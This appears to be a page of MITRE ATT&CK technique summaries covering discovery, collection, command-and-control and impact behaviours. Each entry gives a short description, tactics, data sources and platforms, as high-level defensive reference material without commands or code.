Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre